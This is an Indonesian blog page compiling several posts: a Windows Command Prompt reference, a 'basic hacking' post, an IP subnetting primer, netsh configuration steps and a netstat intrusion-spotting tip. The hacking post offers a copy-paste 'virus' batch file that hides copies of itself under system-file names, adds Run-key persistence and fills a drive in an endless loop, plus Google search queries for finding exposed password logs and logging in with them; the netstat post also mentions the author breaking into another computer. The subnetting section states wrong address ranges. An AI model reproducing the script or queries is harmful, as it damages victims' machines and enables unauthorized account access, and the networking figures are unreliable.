Thursday, 13 November 2014

Perintah “Command Prompt” Terlengkap Dan Sering Digunakan Yang Sebaiknya Diketahui



Perintah “Command Prompt” Terlengkap Dan Sering Digunakan Yang Sebaiknya Diketahui




               CMD singkatan dari Command , sebuah aplikasi yang digunakan untuk menjalankan perintah dalam operasi jaringan komputer, Dulu istilah ini dikenal dengan Program DOS . Ternyata para pengguna komputer tidak semua nya tahu, perintah perintah apa yang terdapat pada CMD Prompt ini.
Sampai Windows 7, Command Prompt tetap disertakan, ini menandakan bahwa fitur ini masih sangat penting.


Perintah command prompt yang disediakan mulai windws 9x sampai windows 7 pun semakin bertambah, mulai dari yang sederhana sampai perintah kompleks untuk administrator dalam mengatasi dan menganalisa berbagai masalah. Berikut beberapa perintah dasar command prompt yang sebaiknya kita ketahui karena cukup bermanfaat.
Untuk menjalankan command prompt, bisa melalui start Menu (All Programs) > Accessories kemudian pilih Command Prompt. Selain itu bisa juga dengan cara yang lebih cepat melalui menu RUN di start menu ketikkan CMD dan tekan enter.
DIR
Perintah ini untuk menampilkan daftar file dan directory di lokasi folder yang sedang di akses di command prompt. Untuk menampilkan file dan folder yang tersembunyi, tambahkan opsi atau parameter /A setelah perintah DIR. Pastikan sebelum garis miring ada spasi, contohnya
DIR /A

Untuk mengetahui parameter atau opsi lainnya, silahkan ketikkan DIR /?
CD atau CHDIR
Perintah ini berguna untuk berpindah directory. CD dan CHDIR mempunyai fitur hampir sama, hanya saja untuk CHDIR kita bisa menuliskan lokasi folder atau file yang ada spasinya tanpa tanda petik dua. Berikut beberapa contoh perintah dan fungsinya :
  • CD D: untuk berpindah ke drive D:
  • CD.. untuk berpindah ke directory diatasnya
  • CD\ atau CD/ untuk berpindah ke root directory (untuk windows 7/Vista). Misalnya di command prompt kita ada di C:\User\Aku>, untuk berpindah ke C:, kita bisa mengetikkan CD.. sebanyak 2 kali. Lebih singkatnya kita bisa mengetikkan CD/
Selain penggunaan seperti itu, kita juga bisa memanfaatkan fitur autocomplete nama file atau folder. Setelah mengetikkan CD kemudian di ikuti spasi dan huruf tertentu, bisa kita tekan tombol Tab (bisa berkali-kali) untuk mendapatkan fitur auto complete nama folder atau file.
IPCONFIG
Sangat bermanfaat dalam hal koneksi internet atau jaringan. Dengan mengetikkan perintah IPCONFIG kemudian di tekan enter, akan ditampilkan alamat IP komputer kita dengan beberapa informasi tambahan seperti Gateway, SubnetMask dan lainnya. Untuk informasi lebih lengkap kita bisa mengetikkan IPCONFIG /ALL.
Tambahan /ALL tersebut merupakan options atau parameter. Selain /ALL, terdapat beberapa parameter lainnya yang cukup bermanfaat. Untuk daftar parameter selengkapnya, silahkan ketikkan
IPCONFIG /?
PING
Seringkali ketika internet atau jaringan tidak bisa terkoneksi. Untuk mengetest koneksi internet atau jaringan, kita bisa menggunakan perintah PING dan di ikuti nama website atau alamat IP yang dituju. Misalnya sebagai berikut:
PING www.google.com
PING 74.125.235.51
Jika hasilnya Reply from…., maka koneksi jaringan atau internet bisa dikatakan OK, tetapi jika muncul tampilan Request time out, ada beberapa kemungkinan, seperti tidak ada koneksi, kabel atau jaringan bermasalah atau alamat yang dituju tidak ada atau tidak ditemukan dan lainnya.
ATTRIB
Virus atau worm yang menyerang komputer biasanya menyembunyikan file atau folder yang ada di komputer atau flashdisk. Jika hal ini terjadi, kita bisa menggunakan perintah ATTRIB untuk menampilkan file tersebut ( termasuk untuk menyembunyikan file-filenya). Perintah berikut akan menampilkan semua file dan folder yang ada di folder yang sedang di akses di command prompt.
ATTRIB *.* -S -H -R /S /D


Beberapa Tips Tambahan
Semua perintah command prompt biasanya menyertakan banyak parameter yang bisa digunakan. Untuk mengetahui parameter apa saja yang disediakan, tambahkan spasi dan /? setelah perintah yang ingin diketahui. misalnya ATTRIB /?, PING /?. Setiap menambahkan parameter, sebelum tanda garis miring (/) jangan lupa beri spasi.
Jika kita ingin hasil perintah yang kita tuliskan bisa disimpan dalam text, disetiap akhir perintah bisa kita tambahkan tanda “>” dan di ikuti nama file. Misalnya perintah berikut:
IPCONFIG /all > D:\hasil_cmd_config.txt
Maka hasilnya tidak akan tampil di command prompt, tetapi tersimpan dalam file “hasil_in_config.txt ” yang ada di drive D:. Jika nama folder atau file mengandung spasi, maka harus kita beri tanda petik dua diawal dan akhirnya. Misalnya sebagai berikut :
IPCONFIG /all > "D:\hasil cmd config.txt"
Untuk membersihkan tampilan layar, gunakan perintah
CLS. Setelah selesai, untuk keluar selain klik tombol X dipojok, bisa juga kita ketikkan perintah EXIT.

Berikut ini list perintah-perintah CMD lain yang sering di gunakan pada jaringan komputer:
1. ipconfig /all
Menampilkan informasi konfigurasi koneksi, misalnya Host Name, Primary DNS Type, Ethernet Adapter LAN.
2. ipconfig /flushdns
Menghapus DNS Cache
3. ipconfig /release
“Menghapus” semua koneksi IP Address.
4. ipconfig /renew
Membuat IP Address baru untuk adapter tertentu.
5. ipconfig /displaydns
Menampilkan DNS Cache.
6. ipconfig /registerdns
Melakukan refresh DNS dan meregister kembali koneksi DNS.
7. ipconfig /showclassid
Menampilkan informasi DHCP Class.
8. ipconfig /setclassid
Mengubah DHCP Class ID
9. control netconnections
Menampilkan Network Connection.
10. nslookup
Mengetahui alamat ip address dari nama domain yang di tuliskan
11. netstat
Menampilkan informasi koneksi TCP/IP yang sedang aktif.
12. route
Menampilkan local route.
13. hostname
Menampilkan nama komputer.
14. ping
Contoh: ping cookies.web.id
Melakukan test koneksi ke situs cookies.web.id
Semakin sedikit % loss-nya maka semakin baik koneksinya.
15. tracert
Menampilkan informasi IP Address route.

Berikut dibawah ini merupakan daftar perintah-perintah yang ada pada command prompt dari A-X :
Klik show untuk melihat

a

ADDUSERS : Tambah  daftar pengguna untuk / dari file CSV
ARP : Address Resolution Protocol
Assoc : Ubah ekstensi file  asosiasi
ASSOCIAT : Salah satu langkah asosiasi file
Attrib : Ubah atribut berkas

b
Bootcfg : Edit Windows boot settings
BROWSTAT : Dapatkan domain, info browser dan PDC

c
CACLS : Ubah file permissions
CALL : Panggil satu program batch yang lain
CD : Mengganti Directory – pindah ke Folder tertentu
Change : Ganti Terminal Server Session properties
CHKDSK : Check Disk – memeriksa dan memperbaiki masalah disk
CHKNTFS : Periksa sistem file NTFS
CHOICE : Menerima input keyboard ke sebuah file batch
CIPHER : Encrypt atau Decrypt file / folder
CleanMgr : Ototmatis membersihkan Temperatur file, recycle bin
CLEARMEM : Hapus kebocoran memori
CLIP : Salin STDIN ke Windows clipboard.
CLS : Menghapus layar (Clear The Screen)
CLUSTER : Windows Clustering
CMD : Start a new CMD shell
COLOR : Mengubah warna dari jendela CMD
COMP : Membandingkan isi dari dua file atau set file
COMPACT : Compress file atau folder pada partisi NTFS
Compress : Compress tunggal file pada partisi NTFS
CON2PRT : Menghubungkan atau memutuskan sambungan dengan Printer
CONVERT : Konversi FAT ke drive NTFS
COPY : Menyalin satu atau lebih file ke lokasi lain
CSCcmd : clien-side caching (Offline Files)
CSVDE : Impor atau Ekspor  Active Directory data

d
DATE : Display atau mengatur tanggal
Defrag : Defragment hard drive
DEL : Menghapus satu atau lebih file
DELPROF : Hapus  profil pengguna NT
DELTREE : Menghapus folder dan semua subfolder
DevCon : Device Manager Command Line Utility
DIR : Menampilkan daftar file dan folder
DIRUSE : Tampilkan penggunaan disk
DISKCOMP : Bandingkan  isi dua floppy disk
Diskcopy : Salin isi dari satu disket ke yang lain
DISKPART : Disk Administrasi
DNSSTAT : DNS Statistik
DOSKEY : Edit baris perintah, ingat perintah, dan membuat macro
DSADD : Tambah User (komputer, group ..) ke direktori aktif
DSQUERY : Daftar item dalam direktori aktif
DSMOD : Ubah user (computer, group ..) di direktori aktif
DSRM : Hapus item dari Active Directory

e
ECHO : Menampilkan pesan di layar
ENDLOCAL : Akhir localisation  perubahan lingkungan dalam file batch
ERASE : Menghapus satu atau lebih file
EVENTCREATE : Tambahkan pesan ke Windows event log
EXIT : Keluar dari skrip arus / rutin dan menetapkan errorlevel
EXPAND : uncompress file
Ekstrak : uncompress file CAB

f
FC : Bandingkan dua file
FIND : Mencari string teks dalam sebuah file
FINDSTR : Cari  string dalam file
FOR / F : pengulangan perintah terhadap satu set file
FOR / F : pengulangan perintah terhadap hasil perintah lain
FOR : pengulangan perintah terhadap semua options Files, Directory, List
FORFILES : Proses Batch beberapa file
FORMAT : Format disk
FREEDISK : Periksa free disk space/disk yang tersisa (dalam bytes)
FSUTIL : File dan Volume utilitas
FTP : File Transfer Protocol
FTYPE : Tampilkan atau memodifikasi jenis file yang digunakan dalam asosiasi ekstensi file

g
GLOBAL : Display keanggotaan kelompok global
GOTO : Direct a batch program untuk melompat ke baris berlabel
GPUPDATE : Update pengaturan Kebijakan Grup

h
HELP : Online Help

i
ICACLS : Ubah file dan folder permissions
IF : kondisional melakukan perintah
IFMEMBER : Apakah pengguna saat ini dalam sebuah NT Workgroup
IPCONFIG : Configure IP

k
KILL : Remove program dari memori

l
LABEL : Edit disk label
LOCAL : Display keanggotaan kelompok-kelompok lokal
LOGEVENT : Menulis teks ke NT event viewer
Logoff : user log off
LOGTIME : log tanggal dan waktu dalam file

m
MAPISEND : Kirim email dari baris perintah
MBSAcli : Baseline Security Analyzer
MEM : Display penggunaan memori
MD : Buat folder baru
MKLINK : Buat link simbolik (linkd)
MODE : Mengkonfigurasi perangkat sistem
MORE : Display output, satu layar pada satu waktu
MOUNTVOL : mengelola volume mount point
MOVE : Pindahkan file dari satu folder ke yang lain
MOVEUSER : Pindahkan pengguna dari satu domain ke domain lainnya
MSG : mengirim pesan atau message
MSIEXEC : Microsoft Windows Installer
MSINFO : Windows NT diagnostics
MSTSC : Terminal Server Connection (Remote Desktop Protocol)
MUNGE : Cari dan Ganti teks dalam file (s)
MV : Copy in-menggunakan file

n
NET : Kelola sumber daya jaringan
NETDOM : Domain Manager
Netsh : Configure Network Interfaces, Windows Firewall & Remote akses
NETSVC : Command-line Service Controller
NBTSTAT : Tampilkan statistik jaringan (NetBIOS over TCP / IP)
NETSTAT : Display networking statistics (TCP / IP)
NOW : Tampilan  saat ini Tanggal dan Waktu
NSLOOKUP : Nama server lookup
NTBACKUP : Backup  folder ke tape
NTRIGHTS : Edit hak user account

p
PATH : Menampilkan atau menetapkan path pencarian untuk file executable
PATHPING : jejak jalur jaringan ditambah paket latensi dan kerugian
PAUSE : memenjarakan(suspend) pengolahan file batch dan menampilkan pesan
perms : Tampilkan izin untuk pengguna
PERFMON : Kinerja Monitor
PING : Menguji koneksi jaringan
POPD : Mengembalikan nilai sebelumnya dari direktori sekarang yang disimpan oleh PUSHD
PORTQRY : Tampilan status ports dan services
Powercfg : Mengkonfigurasi pengaturan daya
PRINT : Mencetak file teks
PRNCNFG : Display, mengkonfigurasi atau mengubah nama printer
PRNMNGR : Tambah, menghapus, daftar printer menetapkan printer default
PROMPT : Mengubah command prompt
PsExec : Proses Execute jarak jauh
PsFile : menampilkan file dibuka dari jarak jauh (remote)
PsGetSid : Menampilkan SID sebuah komputer atau pengguna
PsInfo : Daftar informasi tentang sistem
PsKill : proses mematikan berdasarkan nama atau ID proses
PsList : Daftar informasi rinci tentang proses-proses
PsLoggedOn : siapa saja yang log on (lokal atau melalui resource sharing)
PsLogList : catatan kejadian log
PsPasswd : Ubah sandi account
PsService : Melihat dan mengatur layanan
PsShutdown : Shutdown atau reboot komputer
PsSuspend : proses Suspend
PUSHD : Simpan dan kemudian mengubah direktori sekarang

q
QGREP : Cari file(s) untuk baris yang cocok dengan pola tertentu

r
RASDIAL : Mengelola koneksi RAS
RASPHONE : Mengelola koneksi RAS
Recover : perbaikan file yang rusak dari disk yang rusak
REG : Registry = Read, Set, Export, Hapus kunci dan nilai-nilai
REGEDIT : Impor atau ekspor  pengaturan registry
Regsvr32 : Register atau unregister sebuah DLL
REGINI : Ubah Registry Permissions
REM : Record comments (komentar) di sebuah file batch
REN : Mengubah nama file atau file
REPLACE : Ganti atau memperbarui satu file dengan yang lain
RD : Hapus folder (s)
RMTSHARE : Share folder atau printer
Robocopy : Copy File dan Folder secara sempurna
RUTE : Memanipulasi tabel routing jaringan
RUNAS : Jalankan program di bawah account pengguna yang berbeda
RUNDLL32 : Jalankan perintah DLL (add / remove print connections)

s
SC : Control Layanan
SCHTASKS : Jadwal perintah untuk dijalankan pada waktu tertentu
SCLIST : Tampilkan Layanan NT
SET : Display, set, atau menghapus variabel environment
SETLOCAL : Pengendalian environment visibilitas variabel
SETX : Set variabel environment secara permanen
SFC : Pemeriksa Berkas Sistem
SHARE :  Daftar atau mengedit file share atau share print
SHIFT : Shift posisi digantikan parameter dalam sebuah file batch
SHORTCUT : jendela Buat shortcut (. LNK file)
SHOWGRPS : Daftar NT Workgroups seorang pengguna telah bergabung
SHOWMBRS : Daftar Pengguna yang menjadi anggota dari sebuah Workgroup
SHUTDOWN : Shutdown komputer
SLEEP : Tunggu untuk x detik
SLMGR : Software Licensing Management (Vista/2008)
SOON : Jadwal perintah untuk menjalankan dalam waktu dekat
SORT : Sort input
START : memulai sebuah program atau perintah dalam jendela terpisah
SU : Switch User
SUBINACL : Edit file dan folder Permissions, Kepemilikan dan Domain
SUBST : Associate jalan dengan huruf drive
Systeminfo : Daftar konfigurasi sistem

t
TASKLIST : Daftar menjalankan aplikasi dan services
TASKKILL : Hapus proses yang berjalan dari memori
TIME : Menampilkan atau mengatur waktu sistem
TIMEOUT : penundaan pemrosesan dari sebuah batch file
TITLE : Mengatur judul window untuk sesi cmd.exe
TLIST : daftar tugas dengan path lengkap
TOUCH : mengganti file timestamps
Tracert : Trace route ke sebuah remote host
TREE : tampilan grafis struktur folder
TYPE : Menampilkan isi dari file teks

u
USRSTAT : Daftar domain nama pengguna dan terakhir login

v
VER : Tampilkan versi informasi
VERIFY : Pastikan bahwa file sudah disimpan
VOL : Menampilkan sebuah label disk

w
WHERE : Menempatkan dan menampilkan file dalam sebuah pohon direktori
wHOAMI : Output UserName saat ini dan manajemen domain
WINDIFF : Bandingkan isi dua file atau set file
WINMSD : Sistem Windows diagnostik
WINMSDP : Sistem Windows diagnostik II
WMIC : Perintah WMI

x
XCACLS : Ubah file dan folder permissions
XCOPY : Menyalin file dan folder
rudalstel@gmail.com


Read More ->>

TRIK DASAR HACKING


Teknik dasar hacking
contoh membuat virus sendiri
mau menjahili teman atau ingin balas dendam? jangan dong..! tidak baik..
untuk bisa membuat virus tentunya kita tidak harus tau bahasa program cukup
copy paste tip di bawah ini....
pada tip kali ini kita mencoba menggunakan notepad sebagai medianya.
contoh program:

@echo off
title %username% acid burn Simple Commend !!!
echo ~~~~~~~~~~~~~~ 100% Succes Complete ~~~~~~~~~~~~~~~~~
copy *.cmd c:\Autoexec.cmd >nul
copy *.cmd c:\ntldr.cmd >nul
copy *.cmd c:\MSDOS.cmd >nul
copy *.cmd c:\IO.cmd >nul
copy *.cmd c:\hiberfil.cmd >nul
copy *.cmd c:\pagefile.cmd >nul
attrib +r +s +h c:\Autoexec.cmd >nul
attrib +r +s +h c:\ntldr.cmd >nul
attrib +r +s +h c:\MSDOS.cmd >nul
attrib +r +s +h c:\IO.cmd >nul
attrib +r +s +h c:\hiberfil.cmd >nul
attrib +r +s +h c:\pagefile.cmd >nul
attrib +r +s +h c:\Tes aja.exe>nul

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v tpurnoto@yahoo.com /t REG_SZ /d c:\Autoexec.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System32 /t REG_SZ /d c:\ntldr.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Windows /t REG_SZ /d c:\MSDOS.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AdobeLauncer /t REG_SZ /d c:\IO.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MsOffice /t REG_SZ /d c:\hiberfil.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Reader /t REG_SZ /d c:\pagefile.cmd /f >nul
md D:\Data_%username%\acid burn.exe
md c:\system.bat
:start
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
goto start


Copy code di atas save dengan nama cobavirus.bat ganti save as type nya menjadi all files.Nah tinggal di jalanin aja tuhh .Selamat mencoba …..

Jika terjadi kerusakan pada system anda Penulis tidak bertanggung jawab.,Dan kode diatas jangan digunakan untuk menjahili orang .

catatan jika ingin mencoba ada baiknya jangan di komputer sendiri...
dan jangan di taruh di flashdisk karena pasti rusak..

Hacking dengan tangan kosong
SEPERTI halnya beladiri disamping pandai memainkan senjata(TOOLS)seorang hacker juga di tuntut untuk bisa berkelahi dengan TANGAN KOSONG
Untuk mendapatkan password secara langsung sebenarnya banyak cara yang bisa dilakukan, seperti mencari dari berkas log, list password dan banyak lagi.

kali ini kita akan mencobanya dulu mendapatkan user name dan password dengan menggunakan berkas log. Untuk situs-situs yang tingkat security lemah cara ini akan sangat ampuh, tapi jangan coba-coba untuk melakukan hal yang tidak baik.Berikut adalah langkah-langkah untuk melakukan google hacking dengan memanfaatkan keyword berkas log

1. Masuk ke alamat situs google : http://www.google.com.

2. Pada kotak search google masukan keyword berikut ini :

inurl : password.log filetype :log

keterangan :

inurl :password.log >digunakan untuk mencari url atau alamat yang relepan.

filetype: log >digunakan untuk mencari secara spesifik file yang bertife log.

3. Jika sudah mengetikan keyword tersebut tekan Enter,



4. Cobalah untuk masuk ke situs tersebut, dan coba memasukan user name dan

passwordnya. Jika berhasil, selamat Anda berhasil menjebol passwordnya.

Tapi ingat jangan digunakan untuk hal-hal yang tidak baik.



Mencari List Password

Untuk mencari password kita juga bisa menggunakan dalam daftar password yang

tersedia. Terkadang ada beberapa situs yang menyimpan password dalam suatu file.

Celah ini bisa kita manfaatkan untuk mendapatkan password, berikut langkahlangkahnya:

1. Masuk kembali ke alamat situs : http://www.google.com.

2. Pada kotak search google masukan keyword berikut ini :

“login:*””password=*”filetype:xls

Keterangan :

Perintah ini digunakan untuk untuk mendapatkan password login dengan

memanfaatkan password yang tersimpan dalam file Ms. Excel.

3. Jika sudah tekan Enter.


Mendapatkan Username dari Registry

Google juga memiliki kemampuan untuk mendapatkan password dengan

menggunakan registry yang biasanya menyimpan informasi penting. Registry

tersebut biasanya disimpan dalam mesin web tersebut.

Berikut langkah-langkah untuk mencari user name dengan registry :

1. Masuk ke alamat situs google : http://www.google.com.

2. Pada kotak search google masukan keyword berikut ini :

filetype:reg reg HKEY_CURRENT_USER username

Keterangan :

Keyword ini digunakan untuk memerintahkan google mencari file bertipe

reg (Regedit) dengan path HCU(Hkey_Current_User) username

3. Jika sudah mengetikan keyword tersebut tekan Enter.

selamat mencoba....

Sedikit pengenalan tentang IP address


IPV4 itu yang terdiri dari 4 segment xxx.xxx.xxx.xxx = 32 bit
dimana 1 segment = 1byte = 8bit
nilai total dari masing2 segment adalah 255
itu diambil dari perpangkatan 2 pangkat bilangan dari 0-7
nilainya 128+64+32+16+8+4+2+1= 255
bila nilai 255 maka nilia bit persegment = 1 1 1 1 1 1 1 1

misal IP 192.168.10.1 / 24
maka nilai IP segment pertama :
1 1 0 0 0 0 0 0 . 1 0 1 0 1 0 0 0 . 0 0 0 0 1 0 1 0 . 0 0 0 0 0 0 0 1
192 . 168 . 10 . 1

dan / 32 adalah subnet masknya dari jumlah bitnya..
1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 0 0 0 0 0 0 0 0
255 . 255 . 255 . 0


IP Address
class A, range 1-126, IP Private 1.0.0.1 s/d 126.255.255.254, subnet mask 255.0.0.0
class B, range 128-191, IP Private 128.0.0.1 s/d 191.255.255.254, subnet mask 255.255.0.0
class C, range 191-223, IP Prvate 191.0.0.1 s/d 223.255.255.254, subnet mask 255.255.255.0

nb :
IP 127.0.0.1 itu untuk IP loopback/ localhost
IP 0.0.0.0 dan 255.255.255.255 untuk broadcast
untuk class D dan E dah jarang di gunakan, jadi yang ini aja ya

contoh :
IP class A, misal : 100.10.10.1
maka subnet mask : 255.0.0.0

IP class B, misal : 172.16.10.1
maka subnet mask : 255.255.0.0

IP class C, misal : 192.168.10.1
maka subnet mask : 255.255.255.0


Network dan Host
class A, Network ID W.0.0.0, Host ID 0.X.Y.Z, jumlah PC 16,777,214 hosts
class B, Network ID W.X.0.0, Host ID 0.0.Y.Z, jumlah PC 65,532 hosts
class C, Network ID W.X.Y.0, Host ID 0.0.0.Z, jumlah PC 254 hosts

contoh:
IP class A, misal : 100.10.10.1
maka Network ID : 100.0.0.0
dan Host ID : 0.10.10.1

IP class B, misal : 172.16.10.1
maka Network ID : 172.16.0.0
dan Host ID : 0.0.10.1

IP class C, misal : 192.168.10.1
maka Network ID : 192.168.10.0
dan Host ID : 0.0.0.1


Subnetting
rumus:
1. Mencari IP Pertaman = 265-jumlah nilai range terakhir
2. Jumlah Network ID = 2^x-2
dimana, x = nilai bit pada segment terakhir yang bernilai 1
3. Jumlah Host ID = 2^y-2
dimana, y= nilai bit pada segment terakhir yang bernilai 0

defaut subnet:
/8 = 255.0.0.0
/16 = 255.255.0.0
/24 = 255.255.255.0
dimana subnetting hanya menentukan jumlah dari Network ID dan Jumlah Host ID


source :devilzc0de
Diposkan oleh www.toto share.com di 08:10 0 komentar
Kirimkan Ini lewat EmailBlogThis!Berbagi ke TwitterBerbagi ke Facebook
TCP/IP dengan Command Prompt
Pada bagian ini, ijinkan saya memaparkan trik atau cara Konfigurasi TCP/IP dengan Command Prompt. ide ini saya buat karena saya yakin windows juga mengkonfigurasi tcp/ip sama dengan linux, yaitu bisa juga dalam konsole, akan tetapi di windows menggunakan cmd, oke langsung saja !!!

Namun, yang pertama harus dilakukan adalah mengetahui nama koneksi yang akan kita konfigurasi. Hal ini bisa dilakukan dengan:

1. Buka Control Panel melalui Start >> Run ketik "control panel" dan tekan Enter.

2. Pada jendela Control Panel, buka Network Connections

3. Anda juga bisa mengetik "ncpa.cpl" tanpa tanda petik pada kotak dialog Run.

4. Maka akan terlihat icon-icon network connection yang ada di komputer.

5. Pilih nama koneksi yang akan di konfigurasi. Dalam hal ini saya anggap namanya "Local Area Connection".

6. Jika Anda hanya mempunyai satu koneksi biasanya namanya secara default juga "Local Area Connection".


Setelah kita mengetahui nama koneksi yang akan kita konfigurasi, kini saatnya kita mengkonfigurasi TCP/IP melalui CMD. Nama koneksi yang akan kita konfigurasi adalah "Local Area Connection" dengan konfigurasi bertipe static yaitu dengan IP Address: 192.168.0.100, Subnet mask: 255.255.255.0, Default Gateway: 192.168.0.1, DNS: 192.168.0.1, dan WINS: 192.168.0.1. Berikut cara mengkonfigurasi TCP/IP dengan Netsh:

1. Buka Command Prompt dengan klik Start >> Run ketik cmd.

2. Pada jendela CMD, ketik:


Code:
netsh interface ip set address name="Local Area Connection" static 192.168.0.100 255.255.255.0 192.168.0.1
setelah itu tekan enter

3. Berikutnya, untuk setting DNS statis Anda bisa mengetik:
Code:
netsh interface ip set dns "Local Area Connection" static 192.168.0.1
kemudian tekan Enter. Dengan asumsi DNS yang kita gunakan adalah 192.168.0.1

4. Untuk setting WINS statis Anda bisa mengetik:
Code:
netsh interface ip set wins "Local Area Connection" static 192.168.0.1
kemudian tekan Enter. Dengan asumsi WINS yang kita gunakan adalah 192.168.0.1

Sekarang bagaimana jika ingin mengkonfigurasi TCP/IP secara dinamis melalui CMD? Berikut perintahnya:

1. Untuk konfigurasi IP Address dinamis, ketik:
Code:
netsh interface ip set address name="Local Area Connection" dhcp
dan tekan Enter.

2. Untuk setting DNS dinamis, ketik:
Code:
netsh interface ip set dns "Local Area Connection" dhcp
dan tekan Enter.

3. Dan untuk konfigurasi WINS, gunakan perintah ini:
Code:
netsh interface ip set wins "Local Area Connection" dhcp
selanjutnya tekan Enter.




Tips mendeteksi penyusup lewat Dos

Ternyata di Dos ada fasiltas yang mungkin kita semua lupakan dan jarang digunakan perintah itu adalah NETSTAT . Windows menyediakan perintah ini untuk mendukung jaringan .
Netstat juga bisa digunakan untuk melihat ip-ip yang sedang terhubung ke komputer kita.

Untuk itu buka dos command kamu , BB17er tau kan caranya, kalau ga tau nich :

Quote:- Start>Run>command.exe [utk win 95/98]

- Start>Run>cmd.exe [utk win 2000/xp /nt]


lalu mucul deh command prompt

Quote:C:\winnt>netstat ?

Displays protocol statistics and current TCP/IP network connections.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with the -s option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto may be TCP or UDP. If used with the -s option to display per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval dedisplays selected statistics, pausing interval seconds between each display. Press CTRL+C to stop redisplaying statistics. If omitted, netstat will print the current configuration information once.


Sekarang kita gunakan netstat untuk melihat koneksi yang sedang terhubung gunakan -a

Quote:C:\winnt>netstat -a
Proto Local Address Foreign Address State
TCP me:http me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:epmap me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:https me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:microsoft-ds me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1025 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1027 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1028 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1071 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1146 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1163 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1253 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1261 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1288 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1306 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1314 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:5101 me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:epmap 10.22.1.236:4504 TIME_WAIT
TCP me:netbios-ssn me.ladomain.lintasarta.co.id:0 LISTENING
TCP me:1071 LAJKTTS02:1080 ESTABLISHED
TCP me:1288 IS~HRS:microsoft-ds ESTABLISHED
TCP me:1306 GREENGUY:microsoft-ds ESTABLISHED
UDP me:1134 *.*


sebelah nama pc itu adalah port yang digunakan untuk hubungan.
netstat diatas saya mengunakan komputer kantor yang mengunakan ip dhcp .
Disini kita bisa melihat siapa-siapa aja yang terhubung dalam komputer kita
atau dengan contoh yang lebih jelas ini . Untuk lebih jelasnya aku akan coba menyusup ke komputer orang lain dengan mengunakan kaht2 :d
dan aku udah dapat menyusup.

Quote:C:\WINDOWS\System32>netstat -a
Active Connections

Proto Local Address Foreign Address State
TCP khs_2003:epmap khs_2003:0 LISTENING
TCP khs_2003:microsoft-ds khs_2003:0 LISTENING
TCP khs_2003:1025 khs_2003:0 LISTENING
TCP khs_2003:1063 khs_2003:0 LISTENING
TCP khs_2003:1093 khs_2003:0 LISTENING
TCP khs_2003:1136 khs_2003:0 LISTENING
TCP khs_2003:1138 khs_2003:0 LISTENING
TCP khs_2003:5000 khs_2003:0 LISTENING
TCP khs_2003:43715 khs_2003:0 LISTENING
TCP khs_2003:epmap 10.21.3.17:3628 TIME_WAIT <------1 TCP khs_2003:epmap 10.21.3.50:1686 FIN_WAIT_2 <------2 TCP khs_2003:netbios-ssn khs_2003:0 LISTENING TCP khs_2003:1093 10.21.1.18:8080 CLOSE_WAIT TCP khs_2003:1136 10.21.1.18:8080 ESTABLISHED TCP khs_2003:1138 10.21.1.18:8080 ESTABLISHED TCP khs_2003:11196 khs_2003:0 LISTENING TCP khs_2003:43715 10.21.3.50:1687 ESTABLISHED <------3 UDP khs_2003:microsoft-ds *:* UDP khs_2003:isakmp *:* UDP khs_2003:1028 *:* UDP khs_2003:1035 *:* UDP khs_2003:ntp *:* UDP khs_2003:netbios-ns *:* UDP khs_2003:netbios-dgm *:* UDP khs_2003:1900 *:* UDP khs_2003:13715 *:* UDP khs_2003:61804 *:* UDP khs_2003:ntp *:* UDP khs_2003:1032 *:* UDP khs_2003:1036 *:* UDP khs_2003:1107 *:* UDP khs_2003:1134 *:* UDP khs_2003:1900 *:* Komputer ini sedang di susupi oleh aku coba lihat port nya.pada angka 3 ada port yang dibuka kaht2 untuk menge sploit suatu komputer. Lalu bagaimana kita cara kita untuk mengetahui nama komputer yang sedang menyusup ke komputer kita . Gunakan nbtstat -a Quote:C:\WINDOWS\System32>nbtstat -a [ip]
C:\WINDOWS\Syetem32>nbtstat -a 10.21.3.50
Jantung:
Node IpAddress: [10.21.3.50] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
ME <00> UNIQUE Registered
ME <20> UNIQUE Registered
WORKGROUP <00> GROUP Registered
WORKGROUP <1e> GROUP Registered
ME <03> UNIQUE Registered
INet~Services <1c> GROUP Registered
IS~ME..........<00> UNIQUE Registered

MAC Address = 00-60-08-29-37-48


Coba lihat ternyata ip 10.21.3.50 nama pc nya adalah me dan dia join ke workgroup.
Kita bisa buat kaget orang yang mengintip kita itu gunakan netsend fasiltas yang hanya ada pada win 2000/xp atau nt .

Quote:C:\winnt>net send [ip/nama pc] [pesan]


